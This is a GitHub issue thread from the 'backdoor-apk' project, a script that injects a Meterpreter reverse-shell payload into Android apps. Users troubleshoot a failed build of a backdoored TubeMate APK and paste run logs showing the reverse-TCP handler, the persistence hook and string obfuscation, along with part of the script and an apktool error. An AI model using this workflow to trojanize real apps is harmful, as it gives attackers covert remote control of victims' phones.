dana-at-cp / backdoor-apk

backdoor-apk is a shell script that simplifies the process of adding a backdoor to any Android APK file. Users of this shell script should have working knowledge of Linux, Bash, Metasploit, Apktool, the Android SDK, smali, etc. This shell script is provided as-is without warranty of any kind and is intended for educational purposes only.
Apache License 2.0
2.21k stars 702 forks source link

apk file is place in same folder and same problem i have attached with screen shots #29

Closed devrajashwin closed 8 years ago

devrajashwin commented 8 years ago

see i have al ready did that .......... and then i runed ./backdoor-apk.sh tubemate_2.2.9.apk

![Uploading Screenshot from 2016-08-19 17-15-48.png…]()

2>TERMINAL screenshot from 2016-08-19 16-38-59

cacaocaca commented 8 years ago

Go on backdoor-apk.sh open it with getdit or other afther ctrl + f and write "Owner" he show two line of "Owner" replace it with "Proprietario" Save Rerun and work :)

devrajashwin commented 8 years ago

i did as according to u but the result is same @cacaocaca note : does this application needs android sdk to install in my system (i mean shall i install android sdk in my kali-rolling)

root@localhost:~/backdoor-apk/backdoor-apk# ./backdoor-apk.sh tubemate2.2.9.apk [] Generating RAT APK file...done. [+] Using payload: android/meterpreter/reversetcp [+] Handle the reverse connection at: 192.168.42.16:4444 [] Decompiling RAT APK file...done. [] Decompiling original APK file...done. [] Merging permissions of original and payload projects...done. [] Running proguard on RAT APK file...done. [] Decompiling obfuscated RAT APK file...done. [] Creating new directories in original project for RAT smali files...done. [] Copying RAT smali files to new directories in original project...done. [] Fixing RAT smali files...done. [] Obfuscating const-string values in RAT smali files...done. [] Locating smali file to hook in original project...done. [] Adding hook in original smali file...done. [] Adding persistence hook in original project...done. [] Recompiling original project with backdoor...done. [!] Failed to recompile original project with backdoor

devrajashwin commented 8 years ago

i think some thing is missing in this code, plz check this when i open this backdoor apk-sh with gedit its directly point my curser to this code, on 5th line < echo "done." > RUN log tar file : run.log.tar.gz

echo -n "[*] Signing recompiled APK..." $JARSIGNER -verbose -sigalg SHA1withRSA -digestalg SHA1 -keystore $keystore -storepass android -keypass android $compiled_apk signing.key >>$LOG_FILE 2>&1 rc=$? echo "done." if [ $rc != 0 ]; then echo "[!] Failed to sign recompiled APK" cleanup exit $rc fi

echo -n "[*] Verifying signed artifacts..." $JARSIGNER -verify -verbose -certs $compiled_apk >>$LOG_FILE 2>&1 rc=$? echo "done." if [ $rc != 0 ]; then echo "[!] Failed to verify signed artifacts" cleanup exit $rc fi

mv $compiled_apk $unaligned_apk

echo -n "[*] Aligning recompiled APK..." $ZIPALIGN -v 4 $unaligned_apk $compiled_apk >>$LOG_FILE 2>&1 rc=$? echo "done." if [ $rc != 0 ]; then echo "[!] Failed to align recompiled APK" cleanup exit $rc fi

rm $unaligned_apk

exit 0

simonpunk commented 8 years ago

hi, i ecountered the same issue as well, but when I look at the run.log, the line says:

rm: cannot remove 'signing.keystore': No such file or directory.

So I think that's the place keep raising the error.

devrajashwin commented 8 years ago

yes plz post a new isssue , so that they can help us

dana-at-cp commented 8 years ago

Run the following via the command line on your Kali Linux instance inside the git cloned directory for backdoor-apk:

shell> git remote show origin

Please share the output.

dana-at-cp commented 8 years ago

So, I noticed this in the run.log file you shared above:

Exception in thread "main" brut.androlib.AndrolibException: brut.androlib.AndrolibException: brut.common.BrutException: could not exec: [/tmp/brut_util_Jar_3839462608819321650.tmp, p, --forced-package-id, 127, --min-sdk-version, 7, --target-sdk-version, 18, --version-code, 674, --version-name, 2.2.9, -F, /tmp/APKTOOL7858375429182164987.tmp, -0, arsc, -0, arsc, -I, /root/apktool/framework/1.apk, -S, /root/backdoor-apk/backdoor-apk/original/res, -M, /root/backdoor-apk/backdoor-apk/original/AndroidManifest.xml]
        at brut.androlib.Androlib.buildResourcesFull(Androlib.java:437)
        at brut.androlib.Androlib.buildResources(Androlib.java:371)
        at brut.androlib.Androlib.build(Androlib.java:281)
        at brut.androlib.Androlib.build(Androlib.java:254)
        at brut.apktool.Main.cmdBuild(Main.java:224)
        at brut.apktool.Main.main(Main.java:84)
Caused by: brut.androlib.AndrolibException: brut.common.BrutException: could not exec: [/tmp/brut_util_Jar_3839462608819321650.tmp, p, --forced-package-id, 127, --min-sdk-version, 7, --target-sdk-version, 18, --version-code, 674, --version-name, 2.2.9, -F, /tmp/APKTOOL7858375429182164987.tmp, -0, arsc, -0, arsc, -I, /root/apktool/framework/1.apk, -S, /root/backdoor-apk/backdoor-apk/original/res, -M, /root/backdoor-apk/backdoor-apk/original/AndroidManifest.xml]
        at brut.androlib.res.AndrolibResources.aaptPackage(AndrolibResources.java:436)
        at brut.androlib.Androlib.buildResourcesFull(Androlib.java:423)
        ... 5 more
Caused by: brut.common.BrutException: could not exec: [/tmp/brut_util_Jar_3839462608819321650.tmp, p, --forced-package-id, 127, --min-sdk-version, 7, --target-sdk-version, 18, --version-code, 674, --version-name, 2.2.9, -F, /tmp/APKTOOL7858375429182164987.tmp, -0, arsc, -0, arsc, -I, /root/apktool/framework/1.apk, -S, /root/backdoor-apk/backdoor-apk/original/res, -M, /root/backdoor-apk/backdoor-apk/original/AndroidManifest.xml]
        at brut.util.OS.exec(OS.java:97)
        at brut.androlib.res.AndrolibResources.aaptPackage(AndrolibResources.java:430)
        ... 6 more
Caused by: java.io.IOException: Cannot run program "/tmp/brut_util_Jar_3839462608819321650.tmp": error=2, No such file or directory
        at java.lang.ProcessBuilder.start(ProcessBuilder.java:1048)
        at brut.util.OS.exec(OS.java:90)
        ... 7 more
Caused by: java.io.IOException: error=2, No such file or directory
        at java.lang.UNIXProcess.forkAndExec(Native Method)
        at java.lang.UNIXProcess.<init>(UNIXProcess.java:248)
        at java.lang.ProcessImpl.start(ProcessImpl.java:134)
        at java.lang.ProcessBuilder.start(ProcessBuilder.java:1029)
        ... 8 more
Forcing cleanup due to a failure or error state!

This is an error being thrown by apktool.

devrajashwin commented 8 years ago

root@localhost:~/backdoor-apk/backdoor-apk# uname -a Linux localhost 4.6.0-kali1-amd64 #1 SMP Debian 4.6.4-1kali1 (2016-07-21) x86_64 GNU/Linux

{english version}

root@localhost:~/backdoor-apk/backdoor-apk# git remote show origin

dana-at-cp commented 8 years ago

Try running the cleanup.sh script before running the backdoor-apk.sh script.

dana-at-cp commented 8 years ago

This seems to be a duplicate of another reported issue: #30

Closing as duplicate.